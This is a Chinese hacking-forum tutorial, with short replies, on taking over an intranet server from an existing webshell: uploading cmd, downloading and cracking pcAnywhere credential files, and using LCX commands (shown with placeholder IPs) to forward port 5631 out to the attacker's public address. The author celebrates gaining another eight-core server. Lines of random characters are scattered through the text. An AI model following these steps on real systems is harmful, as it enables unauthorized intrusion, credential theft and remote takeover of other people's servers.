[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
/ P1 U% T3 z! h, d
1 j- U4 n7 r  i- T  d. n: q8 D4 A7 ^提权方法：pcanywhere+LCX
6 p" b6 R0 _7 h
9 o. @7 L- i5 Y1 B0 a* R获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。: Y) \) E! _) s1 |& q& h; W
' L" q, ^3 C3 X4 K& U- b$ R
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
: N0 Q5 |- f% T5 q$ G
! ?8 y! u, D4 o% O( R2 z: h+ d) \; ~8 G( {: r5 e" H  Z
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。5 P/ w- T! F$ X( B
3 ^, W$ q6 N/ s8 P$ z
' |( i0 ^2 A$ R( j' }* b
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
# d) f' y* e0 k% _% J& M* f5 c2 [$ A% r" t! F/ @4 G7 [
! ~& ^: `" R3 f/ l3 J/ ^8 N

3 z! W. Y' v  s& w2 q* a, d2 G
* _" m6 ]! f) P1 C. U由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
- O4 ~' Z$ `3 B7 Y. [# j1 r  ^. ?2 E1 X8 e# f

4 A2 d( ?  Q/ o3 @4 d1 `% S0 ~6 \LCX的用法再简单说下：/ v/ O+ v6 U0 d" {% K

" G* S* ^) r3 o服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
8 J. r6 ^2 N4 @" `5 c. J6 \4 W  o
9 J8 t2 l  I* _9 U8 [& o* v, G$ T) A本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）3 _! f! L$ P1 E

9 }7 m0 w2 m8 U" @( x- e! b由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
0 q2 Q8 L+ P7 ]- `, A6 m+ P顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
) U# r/ H! z1 ?7 u3 e/ }1 c7 v, r, @- ?0 Z& Y: c
- K2 n: f: B4 c
4 ]' e6 x; F9 K9 i7 Z& G- v

8 N! [7 {1 S& Y呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
; p) f* y1 o* `$ b1 U+ G; v$ @) Z4 ~' I; J! k! U

& |8 e  M$ o# S3 N% q1 B2 B* ]/ K/ U, G. f. L4 d/ `

6 |/ i( K2 _" p7 ?& c6 }* z我们本地连接试试，输入我们刚破解的账号密码! F9 l: I6 r" X; }. E

- c* [& P8 C1 s6 q( h% Z8 L8 ?1 Y+ ]8 K* v* x% O# ]
呵呵``连接成功,服务器不错，又一个8核^︵^
) s) M/ E0 B/ \/ R( t( a# ^
4 U' t# \2 I2 A- q* K6 e1 X
: O5 c7 @2 s2 k) J4 T4 d  g# P
1 \, Q9 L7 y' R( d! a, ?: y8 V

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈